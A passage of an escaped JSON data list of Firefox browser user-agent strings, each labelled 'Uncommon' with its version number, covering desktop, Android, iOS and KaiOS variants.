Firefox\\/39.0\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Mobile; rv:43.0) Gecko\\/43.0 Firefox\\/43.0\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko\\/20100101 Firefox\\/47.0 Cyberfox\\/47.0.2\"},{\"commonality\":\"Uncommon\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:60.0) Gecko\\/20100101 Firefox\\/60.0\"},{\"commonality\":\"Uncommon\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:53.0) Gecko\\/20100101 Firefox\\/53.0\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko\\/20120813 Firefox\\/16.0\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Android 5.0.2; Mobile; rv:47.0) Gecko\\/47.0 Firefox\\/47.0\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Tablet; rv:45.0) Gecko\\/45.0 Firefox\\/45.0\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit\\/602.4.6 (KHTML, like Gecko) FxiOS\\/6.0 Mobile\\/14D27 Safari\\/602.4.6\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:35.0) Gecko\\/20100101 Firefox\\/35.0\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Tablet; rv:50.0) Gecko\\/50.0 Firefox\\/50.0\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Android 6.0; Mobile; rv:52.0) Gecko\\/52.0 Firefox\\/52.0\"},{\"commonality\":\"Uncommon\",\"version\":\"99\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko\\/20100101 Firefox\\/99.0\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:6.0) Gecko\\/20100101 Firefox\\/6.0\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:28.0) Gecko\\/20100101 Firefox\\/28.0,gzip(gfe),gzip(gfe)\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:5.0) Gecko\\/20100101 Firefox\\/5.0 FirePHP\\/0.5\"},{\"commonality\":\"Uncommon\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Android 8.0.0; Mobile; rv:57.0) Gecko\\/57.0 Firefox\\/57.0\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko\\/20100101 Firefox\\/30.0\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko\\/20100101 Firefox\\/5.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Mobile; rv:46.0) Gecko\\/46.0 Firefox\\/46.0\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:37.0) Gecko\\/20100101 Firefox\\/37.0\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:6.0) Gecko\\/20110814 Firefox\\/6.0\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:31.0) Gecko\\/20100101 Firefox\\/31.0\"},{\"commonality\":\"Uncommon\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko\\/20100101 Firefox\\/13.0\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:40.0) Gecko\\/20100101 Firefox\\/40.0 Cyberfox\\/40.0.3\"},{\"commonality\":\"Uncommon\",\"version\":\"99\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:24.0) Gecko\\/20140105 Firefox\\/99.0 Foirefox\\/74.0\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) Gecko\\/20100101 Firefox\\/9.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Tablet; rv:49.0) Gecko\\/49.0 Firefox\\/49.0\"},{\"commonality\":\"Uncommon\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Mobile; rv:18.0) Gecko\\/18.0 Firefox\\/18.0\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1 WOW64 rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Android 5.1; Mobile; rv:48.0) Gecko\\/48.0 Firefox\\/48.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.8) Gecko\\/20100722 Firefox\\/3.6.8\"},{\"commonality\":\"Uncommon\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Mobile; rv:56.0) Gecko\\/56.0 Firefox\\/56.0\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686 on x86_64; rv:9.0.1) Gecko\\/20100101 Firefox\\/9.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"\\\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\\\"\"},{\"commonality\":\"Uncommon\",\"version\":\"2.0\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko\\/20070725 Firefox\\/2.0.0.6\"},{\"commonality\":\"Uncommon\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:25.0) Gecko\\/20100101 Firefox\\/25.0\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.2; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) Gecko\\/20100101 Firefox\\/7.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Tablet; rv:51.0) Gecko\\/51.0 Firefox\\/51.0\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Tablet; rv:42.0) Gecko\\/42.0 Firefox\\/42.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko\\/20100115 Firefox\\/3.6 (FlipboardProxy\\/0.0.5; +http:\\/\\/flipboard.com\\/browserproxy)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.5; rv:11.0) Gecko\\/20100101 Firefox\\/11.0\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:6.0) Gecko\\/20100101 Firefox\\/10.0.2\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:37.0) Gecko\\/20100101 Firefox\\/37.0\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:36.0) Gecko\\/20100101 Firefox\\/43.00\"},{\"commonality\":\"Uncommon\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:28.0) Gecko\\/20100101 Firefox\\/28.0\"},{\"commonality\":\"Uncommon\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Android; Mobile; rv:18.0) Gecko\\/18.0 Firefox\\/18.0\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:37.0) Gecko\\/20100101 Firefox\\/37.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.1b2) Gecko\\/20081201 Firefox\\/3.1b2\"},{\"commonality\":\"Uncommon\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:13.0) Gecko\\/20100101 Firefox\\/13.0\"},{\"commonality\":\"Uncommon\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (X11; FreeBSD x86_64; rv:21.0) Gecko\\/21.0 Firefox\\/21.0\"},{\"commonality\":\"Uncommon\",\"version\":\"55\",\"ua\":\"firefox\\/55.0.3 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36\"},{\"commonality\":\"Uncommon\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko\\/20100101 Firefox\\/26.0\"},{\"commonality\":\"Uncommon\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:19.0) Gecko\\/20100101 Firefox\\/19.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F120B\\/LYF-F120B-000-01-16-010218;Android; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"1.4\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) FxiOS\\/1.4 Mobile\\/13D15 Safari\\/601.1.46\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:36.0) Gecko\\/20100101 Firefox\\/43.04\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\\/20100101 Firefox\\/47.0 Cyberfox\\/47.0.2\"},{\"commonality\":\"Uncommon\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Android 7.0; Tablet; rv:56.0) Gecko\\/56.0 Firefox\\/56.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Android 5.1; Mobile; rv:43.0) Gecko\\/43.0 Firefox\\/43.0\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Mobile; rv:49.0) Gecko\\/49.0 Firefox\\/49.0\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.2; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Uncommon\",\"version\":\"27.3\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:27.3) Gecko\\/20130101 Firefox\\/27.3\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Android 6.0; Mobile; rv:51.0) Gecko\\/51.0 Firefox\\/51.0\"},{\"commonality\":\"Uncommon\",\"version\":\"6.1\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_2_1 like Mac OS X) AppleWebKit\\/602.4.6 (KHTML, like Gecko) FxiOS\\/6.1 Mobile\\/14D27 Safari\\/602.4.6\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko\\/20101206 Ubuntu\\/10.04 (lucid) Firefox\\/3.6.13\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Tablet; rv:43.0) Gecko\\/43.0 Firefox\\/43.0\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; $LYF\\/$F30C\\/$LYF_F30C-000-09-05-131117; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2) Gecko\\/20100115 Firefox\\/3.6\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:28.0) Gecko\\/20100101 Firefox\\/28.0 BLNGBAR\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Android; Tablet; rv:39.0) Gecko\\/39.0 Firefox\\/39.0\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Mobile; rv:42.0) Gecko\\/42.0 Firefox\\/42.0\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Android 7.0; Mobile; rv:51.0) Gecko\\/51.0 Firefox\\/51.0\"},{\"commonality\":\"Uncommon\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (Android; Mobile; rv:14.0) Gecko\\/14.0 Firefox\\/14.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2) Gecko\\/20100115 Firefox\\/3.6\"},{\"commonality\":\"Uncommon\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Android 7.1.1; Mobile; rv:56.0) Gecko\\/56.0 Firefox\\/56.0\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:5.0) Gecko\\/20100101 Firefox\\/5.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko\\/20101013 Ubuntu\\/10.04 (lucid) Firefox\\/3.6.11\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:5.0) Gecko\\/20110913 Firefox\\/5.0\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.4; Mobile; rv:44.0) Gecko\\/44.0 Firefox\\/44.0\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:28.0) Gecko\\/20100101 Firefox\\/28.0\"},{\"commonality\":\"Uncommon\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:12.0) Gecko\\/20100101 Firefox\\/23.0\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Mobile; OPENC2; rv:34.0) Gecko\\/34.0 Firefox\\/34.0\"},{\"commonality\":\"Uncommon\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Tablet; rv:54.0) Gecko\\/54.0 Firefox\\/54.0\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Mobile; rv:43.0) Gecko\\/43.0 Firefox\\/43.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (X11; OpenBSD amd64; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:30.0) Gecko\\/20100101 Firefox\\/30.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko\\/20101209 CentOS\\/3.6-2.el5.centos Firefox\\/3.6.13\"},{\"commonality\":\"Uncommon\",\"version\":\"2.0\",\"ua\":\"Mozilla\\/5.0 (Windows; U; WindowsNT 5.1; en-US; rv1.8.1.6) Gecko\\/20070725 Firefox\\/2.0.0.6\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:7.0) Gecko\\/20100101 Firefox\\/7.0\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:15.0) Gecko\\/20100101 Firefox\\/15.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko\\/20100101 Firefox\\/47.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Tablet; rv:46.0) Gecko\\/46.0 Firefox\\/46.0\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Android 5.0.1; Mobile; rv:45.0) Gecko\\/45.0 Firefox\\/45.0\"},{\"commonality\":\"Uncommon\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.1.2) Gecko\\/20090729 Firefox\\/3.5.2 (.NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Tablet; rv:46.0) Gecko\\/46.0 Firefox\\/46.0\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Tablet; rv:50.0) Gecko\\/50.0 Firefox\\/50.0\"},{\"commonality\":\"Uncommon\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:14.0) Gecko\\/20100101 Firefox\\/14.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.5) Gecko\\/200900101 Firefox\\/3.0.5\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F50Y\\/LYF_F50Y_000-01-40-181217;Android; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; rv:33.0) Gecko\\/20100101 Firefox\\/33.0 Cyberfox\\/33.1.1\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:29.0) Gecko\\/20100101 Firefox\\/29.0\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_2 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) FxiOS\\/10.4b8288 Mobile\\/15C202 Safari\\/604.4.7\"},{\"commonality\":\"Uncommon\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko\\/20100101 Firefox\\/14.0\"},{\"commonality\":\"Uncommon\",\"version\":\"55\",\"ua\":\"firefox\\/55.0.3 (Windows NT 5.1; WOW64) AppleWebKit\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:10.0.1) Gecko\\/20100101 Firefox\\/10.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:14.0) Gecko\\/20100101 Firefox\\/14.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Mobile; rv:52.0) Gecko\\/52.0 Firefox\\/52.0\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko\\/20110622 Firefox\\/6.0a2\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.15) Gecko\\/2009102815 Ubuntu\\/9.04 (jaunty) Firefox\\/3.0.15\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F90M\\/LYF-F90M-000-02-21-131117; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko\\/20091221 Firefox\\/3.5.7\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:10.0.12) Gecko\\/20100101 Firefox\\/10.0.12\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:37.0) Gecko\\/20100101 Firefox\\/37.0\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Android 4.3; Mobile; rv:42.0) Gecko\\/42.0 Firefox\\/42.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.5\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux armv7l; en-GB; rv:1.9.2.3pre) Gecko\\/20100723 Firefox\\/3.5 Maemo Browser 1.7.4.8 RX-51 N900\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:2.0) Gecko\\/20100101 Firefox\\/4.0 Opera 12.14\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686 on x86_64; rv:16.0; BrowserMob RBU) Gecko\\/20100101 Firefox\\/16.0\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; rv:11.0) like Gecko\\/20100101 Firefox\\/12.0\"},{\"commonality\":\"Uncommon\",\"version\":\"1.2\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) FxiOS\\/1.2 Mobile\\/13C75 Safari\\/601.1.46\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; FreeBSD amd64; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Uncommon\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Android 7.0; Tablet; rv:58.0) Gecko\\/58.0 Firefox\\/58.0\"},{\"commonality\":\"Uncommon\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:13.0) Gecko\\/20100101 Firefox\\/13.0\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i586; de; rv:5.0) Gecko\\/20100101 Firefox\\/5.0\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_2_1 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) FxiOS\\/10.4b8288 Mobile\\/15C153 Safari\\/604.4.7\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:30.0) Gecko\\/20100101 Firefox\\/30.0\"},{\"commonality\":\"Uncommon\",\"version\":\"1.2\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) FxiOS\\/1.2 Mobile\\/13B143 Safari\\/601.1.46\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:34.0) Gecko\\/20100101 Firefox\\/34.0\"},{\"commonality\":\"Uncommon\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Android 6.0; Tablet; rv:57.0) Gecko\\/57.0 Firefox\\/57.0\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:36.0) Gecko\\/20100101 Firefox\\/36.0\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:52.0.1) Gecko\\/20151126 Firefox\\/52.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.4; Mobile; rv:57.0) Gecko\\/57.0 Firefox\\/57.0\"},{\"commonality\":\"Uncommon\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:60.0) Gecko\\/20100101 Firefox\\/60.0\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) Gecko\\/20100101 Firefox\\/5.0\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Mobile; OPENC; rv:28.0) Gecko\\/28.0 Firefox\\/28.0\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Android 5.0; Mobile; rv:51.0) Gecko\\/51.0 Firefox\\/51.0\"},{\"commonality\":\"Uncommon\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:59.0) Gecko\\/20100101 Firefox\\/59.0\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Android 4.1.2; Tablet; rv:51.0) Gecko\\/51.0 Firefox\\/51.0\"},{\"commonality\":\"Uncommon\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:17.0) Gecko\\/17.0 Firefox\\/17.0\"},{\"commonality\":\"Uncommon\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; pl; rv:23.0) Gecko\\/20100101 Firefox\\/23.0 